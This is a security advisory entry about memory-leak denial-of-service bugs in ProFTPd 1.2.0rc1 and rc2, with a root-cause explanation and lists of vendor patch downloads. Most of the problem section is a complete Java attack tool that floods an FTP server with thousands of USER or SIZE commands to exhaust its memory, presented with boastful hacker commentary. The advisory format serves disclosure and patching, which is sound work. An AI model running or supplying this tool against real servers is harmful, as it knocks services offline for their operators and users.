COMMAND
ProFTPd
SYSTEMS AFFECTED
ProFTPd 1.2.0rc1..2
PROBLEM
JeT Li fposted following. Someone at BugTraq released following:
"ProFTPd has memory leakage bug when it executes the SIZE FTP
command. By calling the FTP command SIZE 5000 times it possible
to cause ProFTPd to consume over 300kB of memory. Exploiting this
bug with more SIZE commands gives us simple DoS attack. Anonymous
access is sufficient to use SIZE commands and to exploit this
bug."
Li has coded a program that do more than 5000 size's requests to
the server, in order to crash it. Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
and maybe others (1.2.0preX). And now, here is the code:
/* ProFTPd DoS version 1.1
Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com
Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.
You don't have to give arguments when you execute the program, it
will request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
Wojciech Purczynski ... */
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;
}
class proftpDoS {
public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}
This memory leakage occurs only if proftpd is improperly installed
and /usr/local/var/proftpd directory does not exist or is not
writable for proftpd. If proftpd is installed from RPM package
this directory is /var/run/proftpd. The bug is in log_open_run()
function in src/log.c file. The functions tries to open run-time
scoreboard file in this directory for most (every?) command. Each
time it allocates memory for scoreboard file name not freeing it
leading to memory leakage. This time proftpd developers confirmed
this bug.
While playing with proftpd Wojciech Purczynski discovered another
memory leakage. The memory leakage may be exploited by entering
many ,,USER nonexistentuser'' commands before login. No FTP
access in needed in order to exploit this DoS. 10000 USER
commands causes proftpd to consume about 1,7MB. No patch is
currently available to fix this bug.
SOLUTION
Latest version of ProFTPd addressed the issue.
For Conectiva Linux:
ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/proftpd-1.2.0rc3-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/proftpd-1.2.0rc3-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/proftpd-doc-1.2.0rc3-1cl.i386.rpm
For Linux Mandrake:
Linux-Mandrake 7.2: 7.2/RPMS/proftpd-1.2.0rc3-1.1mdk.i586.rpm
7.2/SRPMS/proftpd-1.2.0rc3-1.1mdk.src.rpm
For Debian:
http://security.debian.org/debian-security/dists/stable/updates/main/source/proftpd_1.2.0pre10-2potato1.diff.gz
http://security.debian.org/debian-security/dists/stable/updates/main/source/proftpd_1.2.0pre10-2potato1.dsc
http://security.debian.org/debian-security/dists/stable/updates/main/source/proftpd_1.2.0pre10.orig.tar.gz
http://security.debian.org/debian-security/dists/stable/updates/main/binary-alpha/proftpd_1.2.0pre10-2potato1_alpha.deb
http://security.debian.org/debian-security/dists/stable/updates/main/binary-arm/proftpd_1.2.0pre10-2potato1_arm.deb
http://security.debian.org/debian-security/dists/stable/updates/main/binary-i386/proftpd_1.2.0pre10-2potato1_i386.deb
http://security.debian.org/debian-security/dists/stable/updates/main/binary-powerpc/proftpd_1.2.0pre10-2potato1_powerpc.deb
http://security.debian.org/debian-security/dists/stable/updates/main/binary-sparc/proftpd_1.2.0pre10-2potato1_sparc.deb